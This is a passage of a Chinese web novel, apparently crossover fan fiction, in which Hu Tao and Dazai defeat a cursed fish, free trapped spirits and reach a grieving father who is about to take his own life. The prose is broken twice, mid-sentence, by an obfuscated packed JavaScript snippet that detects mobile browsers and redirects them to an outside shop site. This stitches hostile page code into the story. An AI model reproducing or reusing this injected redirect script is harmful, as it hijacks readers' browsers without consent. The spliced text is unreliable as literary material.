在拦下第一发子弹后,扎克挥动起巨大的镰刀,如同顷刻骤至的死神,冰冷的刀背对准池田萌奈的额头,更加不客气地狠狠敲下! “Duang——!” 一击命中。 池田萌奈甚至还没反应过来,就眼白一翻,‘哐当’倒地,彻底晕死过去。 不愧是往生堂唯一可靠的成年男性,只需三秒,轻松解决麻烦。 除了一点—— “嘶——欸疼疼疼!” 夸张的呼痛声从旁边传来,太宰治倒吸一口气,从地上爬起来,后背还印着一个标准的44码大脚印。 “扎克君,胡堂主是让你来保护我的吧?” 刚刚那一脚怎么回事?绝对带了一点私人恩怨! “嗛!” 某个靠谱的成年男性咂舌,从喉咙里发出一声不屑的冷哼。但在嘲讽黑心卷毛以前,他还有一件更重要的收尾要做。 比如—— “骗子、骗子、骗子!” 随着池田萌奈失去意识,围绕在她周围的鬼童两眼一厉。他们像是终于意识到女人是个骗子,永远不会带他们回家。 在不断攀升的怨气中,鬼童们的指甲开始伸长,眼看着情况即将失控…… “喂!小孩别蹚乱七八糟的浑水!” 扎克皱起眉,飞快从怀里掏出一个早已准备好的玩具小熊,丢在了其中一名鬼童的脚边。 “这些拿去,老实一边蹲着,等老板来给你们送行!” 在说完后,扎克又往藏身处走去,迅速从后方提溜出一袋子的东西,扔给这些小孩。 “这是……” 太宰治垂眸扫了眼袋子里的东西,随即,脸上露出一个了然的笑容。 “不愧是胡堂主,想得真周遭。” 这些袋子里的东西,都是一些旧玩具。 一条柔软的小毛毯、一只耳朵微微褪色的小熊崽、摁一下会叮铃作响的风铃、屁股后面贴着一个OK绷的变形金刚…… 尽是一些早已用旧的玩具。 但即使已经过了这么久,太宰治依然能从上面发现不少小心保存,甚至重新保养、小心擦干的痕迹。 与此同时,另一边 在看到这些旧玩具时,鬼童们周遭的怨气仿佛被压制般,骤然一清。 他们呆呆地看着地上的玩具。 几秒后,鬼童们慢慢蹲下.身,各自捡起自己最熟悉的那一个。他们眷恋地把脸凑上去,轻轻蹭了蹭。 “妈妈……” “是奶奶、有奶奶的气味。” 此刻,这些旧玩具属于谁,又是谁让扎克联系家属一一收集来的,答案已然不言而喻。 重新安静下来的孩童中,只有一个四岁的幼童没有动。 他迷茫地四下张望了一圈,在看到远处的太宰治时,两眼惊喜地一亮。 像是闻到了熟悉的气味,小小的男孩跑到太宰治的脚边,伸手抓住他的裤腿,仰起头结结巴巴地开口, “姐、姐姐——爸爸,姐、姐姐……” 突然就变成爸爸和姐姐的太宰治:“……” 某个年方十八的前黑手党嘴角一抽,三秒后,他扭头看向一旁幸灾乐祸的扎克,笑容和善, “扎克君,请问胡堂主呢?她一定也需要帮忙吧?” 可惜,靠谱的扎克向来听不懂复杂的潜台词。 他直接翻了个白眼,不客气地回道,“那家伙能打得很,用不着你瞎好心。” “还有,比起关心别人家的老板——” 扎克说到这停顿了一秒。 他两眼盯着太宰治鬓角的位置,片刻后,扎克危险地眯起眼睛,手指在自己的耳朵处敲了敲, “喂,黑心鬼,你耳朵里戴的是什么东西?监听器?” “……” 太宰治安静一秒。 第二秒,他镇定地取下右耳的耳机,递到扎克眼底,微笑地表示, “不,是音乐。” “是我最近很好奇的一首‘歌’,你要听一下吗?” 20.Episode 20 枪开黄泉路 啊?音乐? 扎克挑起眉,第一直觉就是这家伙在忽悠人。 但事实恰恰相反。 耳机内的音量开得很足,即使这样横放在太宰治的掌心,扎克也能隐约听见里头飘出的旋律。 乐曲的音色亮丽圆润,转音阶时,又带着一丝如泣如诉的低音,像极了某个堂主闲来无事,坐在屋顶瞎划拉玩的乐器。 扎克记得那东西好像是叫什么……二胡? 所以这家伙,究竟是怎么做到把声音开得这么大,还能和人正常对话的? 他都不嫌吵吗? 扎克一言难尽地收回视线,不感兴趣地撇了撇嘴。 “行了,别磨磨叽叽的,过来帮忙。” 扎克无视了还躺在地上的池田萌奈,一边掏出手机发送消息,一边走到墙边,把几个小鬼跟赶鸭子似地聚起来。 “警察一会儿就过来,他们会负责把这女人带走,你和我先去汇合点。” 不出意外的话,老板很快会到。 “明白了。” 太宰治笑着点了点头,随手把摘下的耳机揣回口袋里,另一只继续戴着,一副沉迷音乐不可自拔的表现。 如果此刻,扎克有兴趣杀个回马枪,夺下太宰治左耳的耳机,他就会发现一件神奇的事—— 这只耳机里播放的可不是什么二胡弹奏,而是…… 【“好耶!终于出现啦,本堂主的水煮大鱼鱼——!”】 【“瑞伊,带人躲后面去!我很快解决!”】 耳机内,随着胡桃快乐的欢呼,背景似乎有什么物体重重砸下,带起一阵水花撞击地面的剧烈震动。 此时,北边港口 胡桃轻盈一跃,灵巧地避开袭来的攻击。 她单手抓住武藤一诚的后领口,手臂微微用力。下一刻,某个吓得当场晕厥的男人顿时如麻袋般,被整个甩起,精准地投掷在瑞伊的脚边。 “收到!” 金发少女高声回应,一把扯住男人的裤腿,头也不回地把人往安全区的方向拖。 这熟练的动作,一看就知道平时没少配合。 中途,瑞伊在经过一处台阶时一不小心脱手,武藤一诚的额头顿时‘呯’的一下,狠狠磕在了水泥板上,发出好大一声巨响。 这个动静提醒了水中的怪物。 【——交出来!食物……把饵交出来!!】 人面鱼愤怒地虬动。 一瞬间,它背上的无数人面跟着双目圆瞪,齐齐发出嘶哑的嚎哭。 巨大的鱼尾破水而出,每一片鳞片都坚韧无比,在月光下闪烁着近乎刀刃的危险锋芒。 怪物高高举起鱼尾,对准海岸凶狠拍下,试图把武藤一诚绞杀当场! 然而,在它得手以前,一个纤细的身影挡在了怪物面前。 “嘿嘿,这可不行。” 胡桃单手握住劈来的鱼尾,笑嘻嘻地开口,“大黑鱼,本堂主带这家伙来,可不是给你送夜宵的。” 善恶有报,天理循环。 属于他的下场还在前头等着呢,武藤一诚可配不上这么干脆的死亡。 “好啦,大黑鱼,不想挨揍的话,就把小桃香她们吐出来,别让本堂主难做。” 黑发少女松开手中的鱼尾,好商量地说道。 可惜,回应胡桃的,依旧是人面鱼一声高过一声的怒吼。 【好饿……好饿!】 【把饵给我!给我!饿饿饿饿饿——】 尖声的嚎叫中,更多的海浪被唤醒。 海水迎风暴涨,瞬间凝结成一面足足三米高的水墙,海啸般汹涌拍下! 轰隆隆——! 一瞬间,雾气笼罩下的港口地动山摇。 与此同时,雾气外 北边港口静悄悄的,那些本该被冲毁的仓库与建筑,依旧完好无所地伫立在原地。仿佛有一道看不见的镜面结界,将‘彼岸’与‘现世’完美隔开,让双方互不干扰。 “咦——好臭,呸呸呸!” 雾气内 胡桃吐出一口海水,略显狼狈地从水中站起。 明明受到了海啸墙的正面冲击,少女却毫发无伤,除了浑身湿透外,没受到一点影响。 至于毫无战斗力的瑞伊,则先一步窜上仓库的屋顶,成功躲过第一波冲击。 当然,在行动以前,金发少女也没忘了用麻绳把武藤一诚固定在石柱上,任由他在海水的冲刷下,如一截柔软的海草尽情摇摆。 嗨,问题不大。 最多受一点点小苦头,死不了。 好不容易醒来又晕过去的武藤一诚:“……” 与此同时,另一边 【好饿、好饿!把他给我!杀——杀!】 见到一击落空,人面鱼愈发暴躁。 它于海水中游动,鳞片在月光下带起一阵粼粼的波光。 分明是丑陋的怪物,然而它的泳姿异常灵活秀美。 仿佛在人面鱼的体内,正有另一个擅长泳技的意识囚禁其中,成为怪物力量的源头,以此一遍一遍唤醒海水,试图掀起另一股巨浪。 “好吧,看来交涉失败。” 胡桃摊开手,遗憾地摇了摇头。 这仿佛是一个信号。 就在少女话音落地的刹那,胡桃收起了往日的嬉皮笑脸。 她掀起眼皮,一双梅花红瞳静静地锁定疯狂的人面鱼,然后在下一波攻击来临的瞬间—— 不躲不避,迎面直上! 【给我!把饵——给我!!】 轰! 新的海啸墙迎风掀起,在鱼尾甩动的狂风下酝酿着更大、更可怕的海啸巨浪。 这一击命中,即使少女的身躯强悍如钢铁,也要被豁出一个血洞! 但—— 真的吗? “嘿。” 面对灭顶的巨浪,胡桃嘿笑一声。 奔跑间,少女纤细的身影仿佛灵态的蝴蝶,竟一瞬幻化为虚影,直直穿过巨浪,毫发无伤地逼近人面鱼! 【】【】——! 一击再次落空,人面鱼发出不甘的尖鸣,彻底狂暴化。 霎时间,雾气内的空气震动。 到处都弥漫着沉重的水汽,连呼吸都带上了深海的重压,试图以此撑爆人类的内脏! 与此同时,仿佛是预见到黑发少女即将折损的命运,被囚禁在鱼背上的‘人脸’突然停止了嚎哭。 ‘她们’冲胡桃尖叫,像是在求救,又像是…… 在请求少女后退。 依稀之间,困于鱼腹内的魂灵苏醒。 ‘她’睁开眼睛,努力游动着双臂,竟然在众多‘怨灵’的帮助下硬生生取代人面鱼的意识,做了一个腾跃水面的动作。 那是游泳赛的经典动作。 泳者如芭蕾的舞者,在跃出水面的瞬间,于空中舒展柔韧美好的肢体,对观众席遥遥致意,献上冠军的谢幕礼。 而当这个动作放在人面鱼身上时,就演变成真正的灾难。 【】【】——! 像是察觉到危机逼近,巨大的怪物发出嘶哑的尖鸣。 它试图夺回身体的控制权,却无可奈何,只能眼睁睁地看着自己躯干反转,对如死神般逼近的少女,露出藏于坚硬鳞甲下的柔软鱼腹。 那处真正柔软的、致命的弱处。 “干得好,姑娘们!” “放心,本堂主保证,不会很痛。” 岸上,胡桃的右脚在海岸边用力一踏,借着力道如一只轻盈的蝴蝶,向着高空一跃而起。 半空中,少女伸出手,一柄古朴的银色长枪在她手中显现。 类似古代士兵的制式武器,枪身牢固,枪尖锋锐。(①) 无人知道这柄长枪来源何处,也没人知道,它出于哪位工匠之手。唯一能肯定的是,这柄长枪本该属于某个国度的战士们。 他们曾手持这样一柄武器,共同对抗灾厄,宣誓永不后退。 虽前路艰险,白缨污损,仍旧千岩牢固,傲然飘扬! 而此刻,这柄枪就在胡桃手中。 “——枪开黄泉路,蝶引来世桥,起!” 随着少女的清喝,白缨的枪光仿若燃烧的流星,以近乎可怕的速度侵袭而至。 一击,贯穿鱼腹! 【】【】——! 怪物的腹部破开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347284|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哀嚎地砸在海面上,彻底失去生息。 随着人面鱼死亡,那些被囚禁其中的‘怨灵’脱身而出。 然而,她们既没有逃窜,也没有试图攻击人类。 她们的目光柔和,似乎终于获得了解脱。 怨灵们对胡桃轻轻点了点头,随后平静地闭上眼睛,慢慢化作无数金色的光点。 一眼望去,仿若天上的星辰坠入海面,满目璀璨。 唯独一个魂灵没有动。 她看着不过十四岁,穿着中学生的水手服,恳求地握住胡桃的枪身。 【求……】 女孩努力张开嘴,不停摇着头,眼中满是焦急, 【求、再、再一点时间,爸爸,爸爸他……让我——】 或许是太久没有说话,又或者是女孩在生前,声带就在那一场谋杀中彻底损坏,只能断断续续吐出几个模糊的音节。 但胡桃听懂了。 “不行。” 面对魂灵的哀求,黑发少女干脆利落地收起武器。 她的语气坚决,毫无转圜余地, “小桃香,等多久都是一样的,看不见的人永远也不可能看见。对他们来说,不知道你们的存在,才是最好的。” 【可……】 竹本桃香张了张嘴,她还想要再说什么。 但最后的最后,她还是在胡桃的注视下慢慢闭上嘴,眼中的光芒跟着黯淡下去,无声地接受了现实。 “不过嘛,本堂主也不是那等顽固不化,不通情达理之辈。” 胡桃眨巴了一下眼睛,继续道,“既然要上路,当然要先吃好喝好!所以,在去往生以前——” 胡桃蹲下.身,她看着女孩,微笑地问道, “小桃香,你想吃火锅吗?本堂主知道一家很棒的火锅店哦!” 味道出众,价格公道! 竹本桃香:“……” 竹本桃香一愣,随即双目骤然一亮,用力点头,生怕胡桃反悔。 “好嘞!” 胡桃笑眯眯地站起身,两手一拍地宣布,“吃夜宵去咯!” ……啊,不过在这之前,还有一件重要的事。 胡桃转过头,对着远处的小伙伴招手, “瑞伊——!本堂主要的麻袋——你带来了吗~” 此刻,瑞伊正背对着胡桃,蹲在晕死的武藤一诚身边。 堂主小姐的声音传来时,金发少女刚好拨打完电话,通知警方来收拾现场。 “来了。” 瑞伊挂断电话,刚准备起身离开。 忽然,她眼角余光一闪,瞥见武藤一诚的手肘处似乎有什么东西在发光。 它原本应该黏在男人外套的隐蔽处,由于遭遇海水冲刷,意外暴露了出来。 “这是……” 瑞伊打量着找到的物品,若有所思地眯起眼睛。 小型的金属外壳,状似纽扣的造型,上面还附着了一排用于收音的细孔。 毫无疑问,这是窃听器。 至于会在武藤一诚的身上,装窃听器的人—— 瑞伊一动不动地盯着窃听器。 两秒后,她没有声张,而是选择安静地站起身,直接把窃听器收进口袋,转身朝自家堂主走去。 “带是带来了,阿桃,这个麻袋是要……?” 瑞伊从随身的挎包里掏出折叠的麻袋,面色如常地问道。 “嘿嘿,那还用说嘛!” 胡桃接过麻袋,欢天喜地般跑到人面鱼的旁边,‘呼啦’一声撑开袋子。 在失去‘怨灵’的力量后,人面鱼重新变回了普通的黑鱼。此刻,新鲜的‘尸体’正浮在海面上,随着波浪飘荡起伏。 虽说是普通的黑鱼,但论个头大小,目测至少超过40斤,是市面黑鱼王的三倍! 本着来都来了,不能空手回去的原则—— 撑着麻袋的堂主小姐眼角一弯,快乐地扬起笑容。 她两眼亮晶晶地看着瑞伊,一双漂亮的梅花红瞳变成了美食的形状。 “瑞伊瑞伊,快来帮本堂主装鱼!” “鱼之大,一锅炖不下!一半水煮,一半红烧!嘿嘿!” 21.Episode 21 是鬼吗? 横滨时间,晚上22:30分 这个时间对绝大部分商场来说,是即将打烊的信号,但在夜市的餐饮店看来,工作才刚刚开始。 再过不久,店内就会迎来一大波夜宵聚餐的食客,正是一天中生意最火热的时段。 然而就是这个时候,有一家火锅店安静地闭门,挂上了‘终止营业’的告示。 “哦!大浩,今天这么早就休息啊,是身体不舒服吗?” 火锅店大叔,竹本浩志刚走出商店街没多远,就迎面碰见了隔壁寿司屋的老板,冲自己热情地打招呼。 对方的身旁停着一辆装满鲜鱼的货车,看样子应该是刚补货回来。 “是啊,头有点痛,想回去躺躺。” 竹本浩志笑了笑,看上去和往常没什么区别。 但在离开前,他从袋子里拿出一本食谱递给对方, “喏,你不是一直好奇我店里的招牌配方吗?送你了,好好用它。” “……啊?” 寿司屋的老板愣住,第一反应就是拒绝, “不行!这可是你吃饭的家伙,哪有这么随便就送……等等、大浩?喂!竹本浩志——?!!” 寿司屋的老板还想细问,但那本食谱直接被不由分说地丢了过来。 等男人好不容易惊险地接住,再一抬头,发现人已经走出了老远。 “怎么回事?这不对啊……” 男人疑惑地挠头,一路推着食材返回店门口。 然后,他瞥见了竹本大叔挂在火锅店门上的告示—— 【终止营业】 终止营业?什么鬼? 哪有休息一天,就给自己挂‘终止营业’的?太不吉利了!大浩以后还想不想做生意—— 等等,他该不会是打算…… 寿司屋店主低头看着手中的食谱,粗壮的眉毛越拧越紧。 …… ………… 这个晚上,或许注定是个不平静的夜晚。 某处公寓内,一个围着围裙的女人正在厨房内忙碌,把一碗又一碗丰盛的菜肴端上桌,一副准备大肆庆祝的模样。 作为丈夫的男人却阴沉着脸坐在沙发上,烟灰缸里的香烟越堆越多。 终于,在妻子从冰箱里抱出一盒庆生蛋糕时,他忍无可忍地爆发了, “够了!你到底还要胡闹到什么时候?” “阿和已经……你还要自欺欺人多久?什么‘告别仪式’,什么‘解秽酒’,那个往生堂就是骗子!” “你还把阿和唯一的遗物给出去,我看你是疯……” “你别管!” 妻子‘呯’地一声,把手里的蛋糕重重地摔在桌上,“你管什么?你以前就没管过阿和,现在又跑来假惺惺地演给谁看?!” 女人尖着嗓子回敬。 她转过头,双目通红地瞪着男人,想要说些更恶毒的话语刺伤对方。 但在对上丈夫同样通红的眼眶后,女人的神情一顿,到嘴边的恶语仿佛棉花一样,堵在了喉咙里,怎么也吐不出来。 许久后,妻子撇开头,两眼紧紧地盯着桌上丰盛的菜肴,声音低弱下去, “你别管,看不过眼就滚出去,滚回你的博多。” “……我跟阿和,轮不到你管。” 然而直到最后,作为丈夫的男人也没有离开。 他选择继续坐在沙发上,点燃了不知第几根香烟。 偌大的屋内,夫妻二人分别站在两边。 一个盯着佛坛上儿子的遗照,一个盯着门口,像是等待什么。 同一时间,相似的一幕正在其他五户家庭里上演。 滴答、滴答、滴答。 墙上的时钟一分一秒走过,直到时针逐渐逼近12的位置—— 又一间公寓内 坐在餐桌边的竹本大叔突然抬起头,看了一眼墙上的时钟。 “时间差不多了。” 竹本浩志自言自语地起身。 此刻,他已经洗过澡,仔细剃好胡子,换上了衣柜中最正式的那件西装——这是当初,他为了出席女儿的颁奖仪式,特地攒钱买的衣服。 现在,也算是用上了。 竹本浩志最后整了一下领口,平静地走进厨房,逐一将门窗紧闭。 就在他准备打开灶台的天然气时—— “咚、咚咚。” 三下整齐地敲门声响起。 声音不大,但在安静的环境下显得异常突兀。 竹本浩志被吓了一跳。 但他没有去管门外的动静,只是冷淡地收回视线,手指重新搭在了灶台开关上。 然后这一次,轮到公寓内的电灯开始不明闪烁。房子各处的照明突然“啪嗒”一声,毫无预兆地逐一熄灭。 从门廊、到玄关、再到客厅、餐厅…… 一处接着一处。 仿佛有一个看不见的‘东西’进来了,正一步步朝着厨房靠近。 最后,灯光停在了神龛边,那处供奉着家人遗照的佛坛前。 屋内唯一的照明落下,一瞬将竹本桃香和竹本凉太的遗相照亮。相片上,两人的笑容栩栩如生,仿若真人。 与此同时,公寓外‘笃笃’的敲门声停了。 取而代之的,是窗户外的动静。 “咚、咚咚。” 依旧是整齐的三声。 “这、这是——”竹本浩志睁大了眼睛。 这些异状没有让他害怕,反而令他激动起来。 “……是你们吗?桃香?凉太?是你们吗!是你们来接我了吗?” “你们等等,爸爸这就来,爸爸这就给你们开门——!” 竹本浩志激动地大声询问。 他用力抹了一把脸,几乎是迫不及待地冲到窗户边,猛地拉开窗户—— “锵锵——!猜错啦,其实是本堂主哒!” 结果一开窗,一个可爱的双马尾脑袋突然冒出,闪亮登场! “哟,店主大叔,真巧啊,你吃了吗?” 胡桃倒挂在窗外,笑嘻嘻地打招呼。 一口气差点没回上来的竹本浩志:“……” 如果这还不算完—— “胡堂主,麻烦搭把手,我快掉下去了。” 又一个陌生的清朗嗓音响起。 “哦,抱歉抱歉。” 某个堂主小姐赶忙道歉,相当自来熟地伸出手,把竹本浩志往旁边赶了赶,利落地一个后空翻,翻进别人的厨房。 随后,她还不忘出手,把身后的鸢眼少年也一起拉进来。 竹本浩志:“…………” 足足三秒后,竹本浩志才反应过来,到底发生了什么。 “——胡桃小姐!你、你这是非法入侵!” “不对,刚刚那些是怎么回事?也是你的把戏?等等,我这里是七楼啊,你是怎么上来的?” “也不对……” 可怜店主大叔脑子一片浆糊,语无伦次了大半天,总算憋出最重要的一句, “你到底是来干什么的!” “嗯?那还用说吗?当然是吃饭呀?” 胡桃看了一眼竹本浩志,一副你是不是没睡醒的语气, “你这样不行啊,大叔,年纪轻轻就想着偷懒。难得本堂主向客户大力推荐你的菜馆,结果你居然偷偷摸摸的闭门谢客。” “没办法,本堂主只好亲自再跑一趟啦。” 胡桃一边说着,也不管店主大叔满脸的懵逼和不可置信,径直走到餐桌边坐下,张嘴就开始流利地报菜名, “唔,夜宵的话,就吃简单一点吧。” “店主大叔,麻烦来一份清蒸鸭掌,水晶虾饺,皮蛋瘦肉粥,外加一杯柠檬水!啊,柠檬多切一片,要加冰糖~” “我的话,就来两份咖喱饭吧。” 某个前黑手党干部跟着坐下,接着说道,“一份甜咖喱堂食,一份超辣咖喱外带。嗯,辣咖喱记得多放辣椒。” 店主大叔:“……” 好家伙。 这不仅点起单,还要求外带了?! “你们……你们不要自说自话地进来,又自说自话地点餐啊!!我什么时候说要给你们开火做饭了?滚出去啊!” 可惜,某个堂主小姐完全没有要离开的意思,反而开始琢磨起餐后点心。 竹本浩志:“……” 窗边,竹本浩志额头的青筋气得突突直跳。 他深吸一口气,懒得和眼前这两个听不懂人话的小鬼废话,径直走到座机旁,拿起话筒准备报警。 就在这时,太宰治的嗓音传来。 “竹本先生,你确定要报警吗?” 餐桌边,太宰治单手撑着下颚,轻声提醒, “竹本先生,如果我没猜错的话,你是打算煤气自杀吧?” “按照这间公寓的面积,从充满煤气到死亡,至少需要十个小时。报警不仅耽误时间,你之后几天可能都不得清净。” “所以,与其浪费宝贵的自杀时间,不如先做饭如何?” 太宰治说着转过头,对竹本浩志露出一个百分之一百的诚挚笑容, “请放心,等客人吃饱喝足了,我们绝不多打扰一秒,马上离开。” 竹本浩志:“……” 多么理直气壮又充满槽点的发言啊! 不仅闯进别人的家里,还让一个即将自杀的人给自己做饭,并信誓旦旦地保证吃完就走,绝对不付一分钱…… 这是什么拟人的操作?! 这一刻,竹本浩志突然觉得,自己不需要开煤气了。他现在就觉得心脏不舒服,血压更是‘蹭蹭’地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354301|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往上蹿高。 偏偏这个时候,胡桃还举起手,欢快地追加订单, “对了,店主大叔,再来一份蛋包饭和汉堡肉!蛋包饭要嫩嫩的,划开会流心,汉堡肉不要青椒,多放糖~” 我去你的多放糖! 青椒怎么了?小孩子不准挑食嫌弃青…… 一段不能更熟悉的要求入耳。 竹本浩志眼角一抽,刚想开口教训,下一秒,他猛地顿住,反应了过来。 不对,这个口味分明是——! 竹本浩志用力扭头,瞪向胡桃的方向。 而也就是这个时候,男人终于注意到,餐桌边的椅子没有坐满。 除了胡桃和太宰治之外,两人的中间还空着两个座位。 那恰好是竹本桃香和竹本凉太还在时,习惯入座的地方。 屋内的灯光依然昏暗,唯独餐桌顶部的照明开着,让本该清晰的一切,莫名笼罩上一层影影绰绰的意味。 恍惚间,竹本浩志甚至产生了一个奇怪的幻觉。 他仿佛—— 他仿佛看见自己的孩子们就坐在椅子上,他们像往常一样探头望来,对自己撒娇。 【“老爹!我要吃蛋包饭,鸡蛋要流心的!”】 【“汉堡肉不要青椒!欸——有什么关系嘛,你看,小凉太也不喜欢青椒~对不对,小凉太~”】 【“不喜、噗噗~不喜欢!”】 …… ………… 竹本浩志:“……” 竹本浩志轻轻眨了一下眼睛,那抹‘幻像’消失了。 餐桌边,那两张椅子始终空空如也。 只有胡桃和太宰治一左一右分坐在两边,微笑地看着自己。 “……” 这一次,竹本浩志沉默了很久。 或许是太宰治的建议发挥了作用,又或者,是被胡桃提及的口味所触动。 最后,店主大叔真的放弃了报警。 他在胡桃和太宰治的注视下挽起袖子,转身走进厨房。 “嘶啦——” 搅拌的蛋液倒入锅中,迅速凝结成漂亮的蛋皮。另一边,肉排也腌制完毕,被小心地摊在油上,小火慢煎。 整个过程中,三人都没有再说话。 屋内安静极了,只剩下锅铲翻炒的动静时不时响起。 一阵浓郁的饭菜香在空气中蔓延开。 唯独此时,这个冰冷许久的公寓,似乎又重新染上了一丝烟火气。 所有人都沉默着,直到竹本浩志的声音响起,主动打破了周遭安静的空气。 “……胡桃小姐,我不是一个合格的父亲。” 厨房内,竹本浩志盯着锅内的肉排,慢慢说道。 人在临死之前,总是希望说一些什么的。 比如,忏悔。 又比如,后悔。 而店主大叔,显然是后者。 “桃香的死是我的错。” “自从凉太出生后,阿音忙着照顾凉太,我也因为工作,很少再关注桃香,可她从来没有抱怨过。” “那孩子……那孩子从以前开始,就比任何人都懂事。” “功课、比赛、社团、升学……她都是最好的。” “关东大赛,我和阿音说好了去现场给她加油,但最后没有去。她没有怪我们,还笑着说下次会捧回全国大赛的奖杯。以后,小凉太就有一个冠军姐姐。” “我——我……” 灶台边,店主大叔的嗓音忽然不稳地颤抖了一下。 他赶紧闭上嘴,用力几个深呼吸之后,才重新开口, “那天晚上,我应该去接她的。” “如果那天晚上,我有去学校接她。” “如果那个时候……我没有让她一个人走夜路。我、我……我该去接她的,该去接她的……” 店主大叔说到这,眼泪不受控制地从他的眼眶里掉下来,几乎泣不成声。 他努力深呼吸,想要平复下心情,却依旧连一句完整的话也说不出,只能不停重复着‘该去接她的’几个字。 胡桃没有说话。 油锅内,汉堡肉被油煎得滋滋作响。 直到一面煎焦,隐约有烤糊的气味传出,竹本浩志才回过神,关掉了灶火。 “喀哒。” 伴随着灶火熄灭,公寓内好不容易热闹一点的空气,又瞬间冷了下来。 “胡桃小姐,我不是一个合格的父亲。” 厨房内,店主大叔盯着锅里的饭菜,锋利的菜刀就在他的手边。 “我弄丢了一个女儿,在那之后,又没保护好小凉太。我不是一个合格的父亲……这样的我——” “胡桃小姐,你说,等我死后,我还能见到他们吗?” “他们还愿意,叫我爸爸吗?” 22.Episode 22 来吧,本堂主带你 会,或者不会。 这个问题的答案很简单,但不该由一个外人来回答。 餐桌边,太宰治微微侧过头,视线越过焦急的魂灵,落在了与自己相隔两个位子的胡桃身上,很期待堂主小姐的反应。 胡桃安静了很久。 直到一阵哀求般漫长的沉默后,堂主小姐终于轻声叹了口气。 “店主大叔……” 她在男人满是泪水的注视下抬起眼,郑重说道, “你的蛋皮也焦了,成蛋卷儿了。” 竹本浩志:“……” 太宰:“……咳!” 这个场面实在太过地狱,以至于饶是常年不干人事的前黑手党先生,也非常识趣地低下头,反手遮住嘴巴,努力没有让自己发出任何不合时宜的声音。 不过问题不大,因为已经有人替他苦笑出声。 “……哈哈、是吗,我都没注意。抱歉,让你听了一堆没用的唠叨。” 竹本大叔艰难地扯动嘴角,试图露出一点笑容,但除了让自己更尴尬难堪之外,没有起到任何效果。 他转过身,把锅内已经焦黑的蛋卷盛出。 “对了,咖喱……还有咖喱饭。” 竹本浩志想要转移注意。 他一边喃喃自语地念着,拿起刀削土豆。结果由于动作颤抖得太过厉害,差点把大拇指也一起削掉。 【堂主小姐……求、求你……】 【姐姐、姐姐——】 餐桌边,一大一小两个魂灵急得快要哭出来了。 他们恳求地看着胡桃,见黑发少女不为所动,他们想要直接跳下椅子跑向竹本浩志,却在下一秒,被一只金色的灵态蝴蝶牢牢控制住,动弹不得。 料理台边,竹本大叔随意包扎了一下伤口,重新拿起菜刀。 就在这时,胡桃的声音二度传来。 “大叔,杀死小桃香的真凶找到了。” 少女的这一句语气很轻,但落在竹本浩志的耳边,效果不亚于晴天霹雳。 “……什?你说什么!!” 竹本浩志猛地回过头,眼球瞪大几乎脱出眼眶。 剧烈的情绪冲击下,他连刀都忘了放下,就这么一手拎着刀具冲到胡桃跟前。所幸中途被太宰治拦住,提醒地敲了一下手肘。 “……” “——抱歉,我没……” 竹本浩志愣了一秒,立即丢开手中的菜刀。 这个时候,他已经顾不上什么死不死,事关女儿的真相,他必须问清楚。 “真凶?什么意思?小桃香不是被那几个抢劫犯……” “这到底怎么回事?胡堂主!” “凶手叫武藤一诚,二十年前,他是横滨樱丘附属学园的三年级转学生,单方面对小桃香积怨已久。那三个抢劫犯,是他找来的。” 胡桃看了一眼竹本浩志,不急不缓地说道, “一小时前,他已经被警方逮捕。明天,警察就会上门告知情况,可能还会请你配合,重新录一段口供。” “……” “…………真凶,雇人——” 竹本浩志的神情恍惚。 这一刻,大概很难用某个具体的词汇,来形容男人的状态。 因为他的脑中一片空白。 这样的状态不知持续了多久,竹本浩志才像醒过神般,突然摇晃地后退了两步,又在即将摔倒时,猛地抓住桌角,慢慢坐了下来。 他应该说一些什么的,又或者做一些什么。 然而实际情况却是,男人整个人呆傻了一样,只是一动不动地坐着,眼神空茫。 太宰治却注意到,竹本浩志眼中的绝望消失了。 就像被人重新注入新的希望,等到大脑消化完所有情绪,男人的目光将再度亮起。其中的‘死意’褪去,留下不断燃烧的愤怒火焰。 然后,少女的嗓音第三次响起。 “竹本浩志。” 这大概是胡桃头一回,以这样严肃的语气称呼某一个人的全名。少女的嗓音泠然,仿佛山涧中汩汩流动的清泉,带着一种冰凉的冷静清醒。 竹本浩志的瞳孔微动,他本能地移动目光看向胡桃。 然后,他听见黑发少女如此说道, “有一句话叫做,只有千日做贼,没有千日防贼。”(①) “本堂主可以很肯定地【转告】你,小桃香的死不是你的错。那天晚上,如果你去接她,结局不会有任何改变,甚至可能更糟。” “别让小桃香担心了。” “至于,他们还愿不愿意叫你‘爸爸’——” 胡桃说到这停了下来。 她注视着眼前这个呆愣的父亲,片刻后,眼中流露出一个清浅的笑意, “这个问题,不如问问当事人如何?” 当然,如果你能听到的话。 什么? ……什——么? 竹本浩志傻住。 过载的大脑来不及处理更多信息,下一秒,随着胡桃的话音落下—— 铃。 虚幻的金色蝴蝶扇动翅膀飞起,放开了对魂灵的禁锢。 【老爹!】 【爸爸!】 几乎是禁锢消失的刹那,竹本桃香与竹本凉太跳下椅子,大声喊着跑向自己的父亲。 然而,竹本浩志听不到。 他依旧什么也看不到,什么也听不到。 但是,但是—— 大脑无法处理‘不存在’的信息,但作为父亲的本能,却让他张开了双臂,仿佛拥抱一般,试图去抱住一点什么。 他什么也无法看到,什么也无法听到。 然而、然而啊……! 餐厅内,竹本浩志久久地半跪在地上。 